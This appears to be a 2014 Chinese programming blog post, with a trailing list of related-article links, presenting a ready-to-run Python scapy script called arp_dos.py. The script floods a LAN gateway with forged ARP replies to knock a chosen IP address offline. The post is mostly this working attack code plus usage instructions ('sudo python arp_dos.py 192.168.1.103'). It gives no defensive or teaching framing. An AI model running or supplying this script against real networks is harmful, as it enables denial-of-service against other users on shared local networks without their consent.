python写的ARP攻击代码实例


Posted in Python onJune 04, 2014

注:使用这个脚本需要安装scapy 包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题

#coding:utf-8
#example :sudo  python arp_dos.py  192.168.1.103
from scapy.all import ARP,send
import os,re,sys
def get_gateway_ip():
    t=os.popen('route -n')
    for i in t:
        if i.startswith('0.0.0.0'):
            r=re.split("\s+",i)
            return r[1]
def get_gateway_hw(ip):
    t=os.popen('arp -e %s' % ip)
    for i in t:
        if i.startswith(ip):
            r=re.split("\s+",i)
            return r[2]
def hack(hackip):
    ip=get_gateway_ip()
    hw=get_gateway_hw(ip)
    arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
    #os.popen('ifconfig eth0 %s' % hackip )
    while 1:
        send(arp)
def help():
    print ("USEAGE: sudo python arp_dos.py 192.168.1.100")
def main():
    if len(sys.argv) != 2:
        help()
    else:
        hack(sys.argv[1])
if __name__=="__main__":
    main()
Python 相关文章推荐
Python远程桌面协议RDPY安装使用介绍
Apr 15 Python
Python多层嵌套list的递归处理方法(推荐)
Jun 08 Python
Pycharm编辑器技巧之自动导入模块详解
Jul 18 Python
python使用socket创建tcp服务器和客户端
Apr 12 Python
浅谈tensorflow1.0 池化层(pooling)和全连接层(dense)
Apr 27 Python
Python爬虫的两套解析方法和四种爬虫实现过程
Jul 20 Python
python3实现表白神器
Apr 09 Python
浅谈django url请求与数据库连接池的共享问题
Aug 29 Python
Django rest framework分页接口实现原理解析
Aug 21 Python
如何使用python socket模块实现简单的文件下载
Sep 04 Python
Python通过len函数返回对象长度
Oct 22 Python
详解pycharm自动import所需的库的操作方法
Nov 30 Python
python和C语言混合编程实例
Jun 04 #Python
python实现的一个p2p文件传输实例
Jun 04 #Python
python实现文件分组复制到不同目录的例子
Jun 04 #Python
python实现的udp协议Server和Client代码实例
Jun 04 #Python
Python实现同时兼容老版和新版Socket协议的一个简单WebSocket服务器
Jun 04 #Python
Python程序员鲜为人知但你应该知道的17个问题
Jun 04 #Python
Python和Ruby中each循环引用变量问题(一个隐秘BUG?)
Jun 04 #Python
You might like
同时提取多条新闻中的文本一例
2006/10/09 PHP
一些使用频率比较高的php函数
2008/10/03 PHP
检测codeigniter脚本消耗内存情况的方法
2015/03/21 PHP
PHP异常处理Exception类
2015/12/11 PHP
深入浅析PHP无限极分类的案例教程
2016/05/09 PHP
php版微信公众平台接口参数调试实现判断用户行为的方法
2016/09/23 PHP
PHP判断表达式中括号是否匹配的简单实例
2016/10/22 PHP
PHP魔术方法之__call与__callStatic使用方法
2017/07/23 PHP
ThinkPhP+Apache+PHPstorm整合框架流程图解
2020/11/23 PHP
JS中Iframe之间传值的方法
2013/03/11 Javascript
js获取指定的cookie的具体实现
2014/02/20 Javascript
JSON格式的时间/Date(2367828670431)/格式转为正常的年-月-日 格式的代码
2016/07/27 Javascript
jQuery实现产品对比功能附源码下载
2016/08/09 Javascript
JS原型链 详解及示例代码
2016/09/06 Javascript
Bootstrap按钮功能之查询按钮和重置按钮
2016/10/26 Javascript
ionic cordova一次上传多张图片(类似input file提交表单)的实现方法
2016/12/16 Javascript
Bootstrap进度条实现代码解析
2017/03/07 Javascript
js实现鼠标移动到图片产生遮罩效果
2017/10/21 Javascript
vue2.0学习之axios的封装与vuex介绍
2018/05/28 Javascript
代码实例ajax实现点击加载更多数据图片
2018/10/12 Javascript
python中readline判断文件读取结束的方法
2014/11/08 Python
Python加密方法小结【md5,base64,sha1】
2017/07/13 Python
python for循环输入一个矩阵的实例
2018/11/14 Python
python和mysql交互操作实例详解【基于pymysql库】
2019/06/04 Python
Pytorch 实现数据集自定义读取
2020/01/18 Python
Django-xadmin后台导入json数据及后台显示信息图标和主题更改方式
2020/03/11 Python
CSS实现圆形放大镜狙击镜效果 只有圆圈里的放大
2012/12/10 HTML / CSS
凯伦·米莲女装网上商店:Karen Millen
2017/11/07 全球购物
Manduka官网:瑜伽垫、瑜伽毛巾和服装
2018/07/02 全球购物
软件设计的目标是什么
2016/12/04 面试题
学子宴答谢词
2014/01/25 职场文书
学习普通话的体会
2014/11/07 职场文书
2014年信访工作总结
2014/11/17 职场文书
检讨书范文1000字
2015/01/28 职场文书
患者身份识别制度
2015/08/06 职场文书
PostgreSQL13基于流复制搭建后备服务器的方法
2022/01/18 PostgreSQL